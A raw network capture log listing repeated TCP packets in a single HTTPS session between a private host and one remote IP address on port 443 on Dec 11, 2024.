Dec 11, 2024 12:15:52.938976049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.938976049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.938983917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.939451933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.939466953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.939616919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.939616919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.939616919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.939625025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.939779997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.939971924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.941189051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.941200018 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.941525936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.941525936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.941525936 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.941539049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.941821098 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.941917896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.942008018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.942008018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.942008018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.942014933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.942193031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.942399979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.942399979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.943329096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.943340063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.943512917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.943512917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.943526030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.943681955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.943681955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944294930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.944307089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.944490910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944490910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944504023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.944648027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944648027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944648027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.944648027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946111917 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.946124077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.946290016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946290016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946302891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.946480036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946480036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946480036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.946480036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.947025061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.947040081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.947171926 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.947180033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.947366953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.947366953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.947366953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.948636055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.948647022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.948792934 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.948848009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949001074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949001074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949001074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949001074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949008942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.949610949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.949621916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.949965954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949965954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949965954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949965954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.949976921 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.951091051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.951101065 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.951253891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.951253891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.951267958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.951446056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.951446056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.951613903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952045918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.952056885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.952184916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952233076 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952385902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952385902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952387094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952387094 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.952394009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.953716040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.953727961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.953906059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.953917027 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.954065084 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.954739094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.954749107 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.955502033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.955502033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.955513000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.956147909 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.956161976 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.956470966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.956478119 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.956661940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.957094908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.957104921 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.957297087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.957297087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.957305908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.957465887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.957657099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.958735943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.958748102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.959084988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.959084988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.959084988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.959095001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.959933043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.959943056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.960285902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.960285902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.960285902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.960285902 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.960299969 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.960901022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.960912943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.961257935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.961257935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.961257935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.961257935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.961272001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.962249041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.962260008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.962600946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.962600946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.962601900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.962611914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.964056969 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.964068890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.964212894 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.964212894 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.964226007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.964402914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.964402914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965099096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.965109110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.965437889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965437889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965437889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965437889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965437889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.965449095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.966547966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.966562986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.966686964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.966698885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.966712952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.966924906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.966924906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.966924906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.966924906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967554092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.967567921 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.967694998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967753887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967897892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967897892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967897892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967897892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.967905045 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.968981981 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.968997002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.969156027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.969167948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.969321012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.969321012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.969321012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.970009089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.970021009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.970359087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.970359087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.970359087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.970359087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.970371008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.971683025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.971698046 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.971862078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.971862078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.971870899 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.972054005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972054005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972054005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972054005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972646952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.972659111 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.972985983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972985983 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.972995996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.973208904 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.973208904 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.973790884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.973804951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.974147081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.974147081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.974158049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.974339008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.974339008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.975317001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.975328922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.975501060 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.975513935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.975641966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.975641966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.975641966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.975641966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.976742983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.976758003 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.977097034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.977097034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.977097034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.977097034 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.977111101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.026468992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.167386055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.167393923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.167479992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.167568922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.167568922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.167581081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.167587042 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.167747974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.167747974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.167927980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168555021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.168585062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.168895006 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168895960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168895960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168895960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168895960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.168914080 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.169363976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.169537067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.169562101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.169711113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.169711113 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.169723034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.169763088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.169996977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.169996977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.170595884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.170622110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.170754910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.170936108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.170936108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.170936108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.170945883 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.171128035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.171128035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.172322035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.172338963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.172956944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.172956944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173147917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173147917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173147917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173158884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.173327923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173367977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.173388004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.173724890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173724890 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.173734903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.173916101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.174680948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.174710989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.174844980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.174844980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175025940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175025940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175025940 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175034046 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.175218105 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175585985 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.175611973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.175775051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175775051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175775051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.175790071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.175862074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.176043987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.177385092 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.177402973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.177725077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.177725077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.177737951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.177916050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.178107977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.178361893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.178381920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.178699017 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.178699970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.178711891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.178890944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.179085016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.179469109 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.179578066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.179621935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.179621935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.179670095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.179675102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.179850101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.180612087 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.180630922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.180768967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.180780888 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.180818081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.180995941 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.180995941 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.180995941 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.181581974 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.181602001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.181771040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.181771040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.181771040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.181771040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.181786060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.181952953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.182138920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183243990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.183267117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.183403969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183403969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183417082 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.183599949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183599949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183599949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.183599949 CET	49782	443	192.168.11.20	172.67.128.139
